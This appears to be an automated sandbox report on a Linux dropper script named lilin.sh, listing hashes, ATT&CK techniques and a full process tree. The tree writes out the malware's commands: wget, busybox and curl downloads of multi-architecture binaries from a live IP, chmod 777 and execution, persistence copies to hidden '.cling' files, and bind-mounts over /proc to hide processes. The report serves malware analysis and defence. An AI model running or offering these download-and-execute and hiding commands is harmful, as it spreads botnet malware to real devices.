90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/08/2026, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lilin.sh
Size 2KB
Sample260822-che7lsvsft
SHA256 90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f
MD5 444465a3e2a2e6441cc6afc2ce69dc5a
SHA1 9ca86d429c9a738c19a3e11f33adffb021fe71b8
SHA512 02f252580cf07885350cd8e01befa8772c90d9373254e40c9d58b56cbeaac664f26fba52c93d815ae8afa16fad9372e8c1b4f3958d61229ca1864784e229c403
TLSH
T162512CEE31F46EA1C2819E1C327F9E8C7461CDA236814BB9D54F7436D58ECA0B536E48
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
942	chmod
954	chmod
738	chmod
853	sh
894	chmod
931	chmod
946	chmod
971	chmod
890	chmod
906	chmod
950	chmod
970	sh
973	chmod
791	chmod
886	chmod
914	sh
976	chmod
898	chmod
915	chmod
917	chmod
980	chmod
803	chmod
845	chmod
902	chmod
938	chmod
972	sh
742	chmod
768	chmod
807	chmod
856	chmod
927	chmod
962	chmod
966	chmod
746	chmod
823	chmod
854	chmod
855	sh
867	chmod
958	chmod
871	chmod
875	chmod
882	chmod
910	chmod
916	sh
920	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/m.armv4l	739	lilin.sh
/tmp/m.armv4l	876	lilin.sh
/tmp/m.armv4l	932	lilin.sh

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	m.mipsel
File opened for modification	/dev/watchdog	m.mipsel
File opened for modification	/dev/misc/watchdog	m.mipsel
File opened for modification	/dev/watchdog	m.mipsel
File opened for modification	/dev/misc/watchdog	m.mipsel
File opened for modification	/dev/watchdog	m.mipsel

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/.cling	cp

Changes its process name 6 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	847	m.mipsel
Changes the process name, possibly in an attempt to hide itself	879	m.mipsel
Changes the process name, possibly in an attempt to hide itself	912	m.mipsel
Changes the process name, possibly in an attempt to hide itself	935	m.mipsel
Changes the process name, possibly in an attempt to hide itself	968	m.mipsel
Changes the process name, possibly in an attempt to hide itself	983	m.mipsel

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/7/cmdline	m.mipsel
File opened for reading	/proc/119/cmdline	m.mipsel
File opened for reading	/proc/15/cmdline	m.mipsel
File opened for reading	/proc/169/cmdline	m.mipsel
File opened for reading	/proc/24/cmdline	m.mipsel
File opened for reading	/proc/969/cmdline	m.mipsel
File opened for reading	/proc/17/cmdline	m.mipsel
File opened for reading	/proc/18/cmdline	m.mipsel
File opened for reading	/proc/670/cmdline	m.mipsel
File opened for reading	/proc/323/cmdline	m.mipsel
File opened for reading	/proc/11/cmdline	m.mipsel
File opened for reading	/proc/36/cmdline	m.mipsel
File opened for reading	/proc/145/cmdline	m.mipsel
File opened for reading	/proc/935/cmdline	m.mipsel
File opened for reading	/proc/75/cmdline	m.mipsel
File opened for reading	/proc/709/cmdline	m.mipsel
File opened for reading	/proc/81/cmdline	m.mipsel
File opened for reading	/proc/848/cmdline	m.mipsel
File opened for reading	/proc/36/cmdline	m.mipsel
File opened for reading	/proc/77/cmdline	m.mipsel
File opened for reading	/proc/358/cmdline	m.mipsel
File opened for reading	/proc/879/cmdline	m.mipsel
File opened for reading	/proc/13/cmdline	m.mipsel
File opened for reading	/proc/81/cmdline	m.mipsel
File opened for reading	/proc/112/cmdline	m.mipsel
File opened for reading	/proc/73/cmdline	m.mipsel
File opened for reading	/proc/78/cmdline	m.mipsel
File opened for reading	/proc/429/cmdline	m.mipsel
File opened for reading	/proc/9/cmdline	m.mipsel
File opened for reading	/proc/847/cmdline	m.mipsel
File opened for reading	/proc/37/cmdline	m.mipsel
File opened for reading	/proc/711/cmdline	m.mipsel
File opened for reading	/proc/709/cmdline	m.mipsel
File opened for reading	/proc/81/cmdline	m.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/cmdline	m.mipsel
File opened for reading	/proc/71/cmdline	m.mipsel
File opened for reading	/proc/375/cmdline	m.mipsel
File opened for reading	/proc/19/cmdline	m.mipsel
File opened for reading	/proc/379/cmdline	m.mipsel
File opened for reading	/proc/672/cmdline	m.mipsel
File opened for reading	/proc/2/cmdline	m.mipsel
File opened for reading	/proc/72/cmdline	m.mipsel
File opened for reading	/proc/670/cmdline	m.mipsel
File opened for reading	/proc/21/cmdline	m.mipsel
File opened for reading	/proc/14/cmdline	m.mipsel
File opened for reading	/proc/169/cmdline	m.mipsel
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/120/cmdline	m.mipsel
File opened for reading	/proc/327/cmdline	m.mipsel
File opened for reading	/proc/3/cmdline	m.mipsel
File opened for reading	/proc/323/cmdline	m.mipsel
File opened for reading	/proc/84/cmdline	m.mipsel
File opened for reading	/proc/16/cmdline	m.mipsel
File opened for reading	/proc/4/cmdline	m.mipsel
File opened for reading	/proc/354/cmdline	m.mipsel
File opened for reading	/proc/23/cmdline	m.mipsel
File opened for reading	/proc/37/cmdline	m.mipsel
File opened for reading	/proc/324/cmdline	m.mipsel
File opened for reading	/proc/74/cmdline	m.mipsel
File opened for reading	/proc/16/cmdline	m.mipsel
File opened for reading	/proc/707/cmdline	m.mipsel
File opened for reading	/proc/358/cmdline	m.mipsel
File opened for reading	/proc/15/cmdline	m.mipsel

System Network Configuration Discovery 1 TTPs 16 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
810	wget
846	m.mipsel
849	sh
852	cp
826	wget
850	cp
907	m.mips
911	m.mipsel
965	curl
905	busybox
909	busybox
961	curl
963	m.mips
967	m.mipsel
824	m.mips
851	sh

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m.armv6l	busybox
File opened for modification	/tmp/m.i486	busybox
File opened for modification	/tmp/m.x86_64	wget
File opened for modification	/tmp/m.powerpc	busybox
File opened for modification	/tmp/m.i486	curl
File opened for modification	/tmp/m.armv5l	wget
File opened for modification	/tmp/m.armv7l	wget
File opened for modification	/tmp/m.i486	wget
File opened for modification	/tmp/m.mipsel	wget
File opened for modification	/tmp/m.armv7l	busybox
File opened for modification	/tmp/m.mips	busybox
File opened for modification	/tmp/m.x86_64	busybox
File opened for modification	/tmp/m.mips	curl
File opened for modification	/tmp/m.armv4l	wget
File opened for modification	/tmp/m.i586	wget
File opened for modification	/tmp/m.armv6l	curl
File opened for modification	/tmp/m.i586	curl
File opened for modification	/tmp/m.i686	wget
File opened for modification	/tmp/m.mips	wget
File opened for modification	/tmp/m.powerpc	wget
File opened for modification	/tmp/m.armv4l	busybox
File opened for modification	/tmp/m.powerpc	curl
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/m.armv4l	curl
File opened for modification	/tmp/m.armv7l	curl
File opened for modification	/tmp/m.armv5l	curl
File opened for modification	/tmp/m.armv6l	wget
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/m.i686	busybox
File opened for modification	/tmp/m.i586	busybox
File opened for modification	/tmp/m.mipsel	busybox
File opened for modification	/tmp/m.i686	curl
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/m.mipsel	curl
File opened for modification	/tmp/m.x86_64	curl
File opened for modification	/tmp/m.armv5l	busybox

/tmp/lilin.sh
/tmp/lilin.sh
1⤵
- Executes dropped EXE
PID:711
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:739
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:743
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:747
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:769
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:793
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:804
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:808
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:824
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:846
- - /bin/sh
    sh -c "cp /tmp/m.mipsel /root/.cling"
    3⤵
    - System Network Configuration Discovery
    PID:849
  - - /bin/cp
      cp /tmp/m.mipsel /root/.cling
      4⤵
      System Network Configuration Discovery
      PID:850
- - /bin/sh
    sh -c "cp /tmp/m.mipsel /usr/local/bin/.cling"
    3⤵
    - System Network Configuration Discovery
    PID:851
  - - /bin/cp
      cp /tmp/m.mipsel /usr/local/bin/.cling
      4⤵
      Write file to user bin folder
      System Network Configuration Discovery
      PID:852
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:853
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:854
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:855
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:856
- - /bin/sh
    sh -c "cp /proc/1/stat /tmp/stat"
    3⤵
    PID:857
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:858
- - /bin/sh
    sh -c "cp /proc/1/status /tmp/status"
    3⤵
    PID:859
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:860
- - /bin/sh
    sh -c "cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:861
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:862
- - /bin/sh
    sh -c "cp /proc/1/statm /tmp/statm"
    3⤵
    PID:863
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:864
- - /bin/sh
    sh -c "mount --bind /tmp /proc/847"
    3⤵
    PID:865
  - - /bin/mount
      mount --bind /tmp /proc/847
      4⤵
      PID:866
- - /bin/sh
    sh -c "mount --bind /tmp /proc/879"
    3⤵
    PID:880
  - - /bin/mount
      mount --bind /tmp /proc/879
      4⤵
      PID:881
- /usr/bin/wget
  wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:868
- /usr/bin/wget
  wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:872
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:876
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:883
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:887
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:889
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:891
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:895
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:899
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:901
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:903
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:907
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:911
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:914
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:915
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:916
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:917
- - /bin/sh
    sh -c "mount --bind /tmp /proc/912"
    3⤵
    PID:918
  - - /bin/mount
      mount --bind /tmp /proc/912
      4⤵
      PID:919
- - /bin/sh
    sh -c "mount --bind /tmp /proc/935"
    3⤵
    PID:936
  - - /bin/mount
      mount --bind /tmp /proc/935
      4⤵
      PID:937
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:913
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:921
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv4l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:934
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:941
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:945
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:949
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:957
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:967
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:970
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:971
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:972
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:973
- - /bin/sh
    sh -c "mount --bind /tmp /proc/968"
    3⤵
    PID:974
  - - /bin/mount
      mount --bind /tmp /proc/968
      4⤵
      PID:975
- - /bin/sh
    sh -c "mount --bind /tmp /proc/983"
    3⤵
    PID:984
  - - /bin/mount
      mount --bind /tmp /proc/983
      4⤵
      PID:985
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:969
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:979
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  PID:981

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.cling

Path /root/.cling
Size 69KB
SHA256 2ed54e0f988a62039abed88f6394eb1e3d5ed931f0183556055417fb08844ecf
MD5 921f3db238c3e981a5ca72c0baed0f74
SHA1 19a859f0071957afd9e3b5af7b6e63638bc2de08
SHA512 0e3e192cbea08b9830e51d43e719f3da152edb96c4c4187b4449411a9df1fbe7ca9cd57c50be6d684d8f337faaa80f01f185da0e652ba7ba91e4e50467fd1236
SSDEEP 1536:lDYAB2nQO2nGTm/CEL7rwMumRcLY8qK//4rh:lDYAy2nf1sMnRTL
TLSH
T170631A49EFA00FDBC46FCE70061F131725DC8CAE62E2633A127CED4875A965986E3C58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

m.armv4l

Path /tmp/m.armv4l
Size 49KB
SHA256 c0d8ffebfba969b1c1ca76bd9623bb623e9f95155c8ceca77d8fcc521435a497
MD5 2e137a9159866bc875aaba0a338a86fd
SHA1 a2821814bdcf85147839dc562214fed3bb3d4399
SHA512 60c08ca6c611af8accd8bb970fa5abfe10010a5759991fad0abccacc63c5f6814eff2ade8026edf81b2d9cfcdd2d86f876a8486ed2284d77094268cca2f5bf86
SSDEEP 1536:1cYWXIVwNadGOxDp36CX5M2o+Ona2T3yOORBcIr:1cLXIV7Fp3jXRoUx9BN
TLSH
T1F7330868F880DB22C6D1157AFA5E528C73530F78D2D973029E14AE346BFBA570F3A941
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stat

Path /tmp/stat
Size 263B
SHA256 2c3876fcdb8a6f6f972540a3e78c007f2252bca417a027ed68a534b3618ce9b8
MD5 7b8dc59a0b0be8433becd081176e8579
SHA1 64755d6dc0c56f1a8b8fae1d1489a4cdeb61e697
SHA512 bd9cc9f2bda964005f1f895f810a1f7cf308eec2b9a32f83d052088ceb02510fc55074122dee4a0f752bc16e8c0ab2e56aafe4a4c970fbe15e606961b793972e
TLSH
T1A7D01224D14814BC99C6D984561725AE875DF36BB8329C48084D5961521BB16C493411
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 26B
SHA256 43acb80494b9f74fc519b26ea8933dc490944e75e6767cd16bbdce2a25e25fb4
MD5 e612d2e52530a3d24ec4475af2832560
SHA1 0a78a1db723bd3e7ae655ae1d87f741c4b19ddae
SHA512 a85541b50e70a99e80aed6fc5fdc266c7b008f41ea3761cf901afd78478291a011d663a8f210bf11bdc4daddcf655789adb8afcebe0e9fc888ae2fd2835ea736
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 9bdfd05ba48ba8e4b18a0744419919c9c88e3c44e4071ab1c63ea4eb8c158a35
MD5 8062f3e68c3fe8f3364d738521c8725b
SHA1 99693db05fea15cb79cdb93ad7767ff116b0ee12
SHA512 de161004889f9f0c5f37f5a302de32f7ec2378751eec7f642abefa976a717bf6ab651068b997b886a9522d640529abb0e217b5b637b29cf4abd184cc5437c20c
TLSH
T1BE1102159FEBACD4CABE8288147AF40560B4F25968D16135304EC878FB3729FA7998D4
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads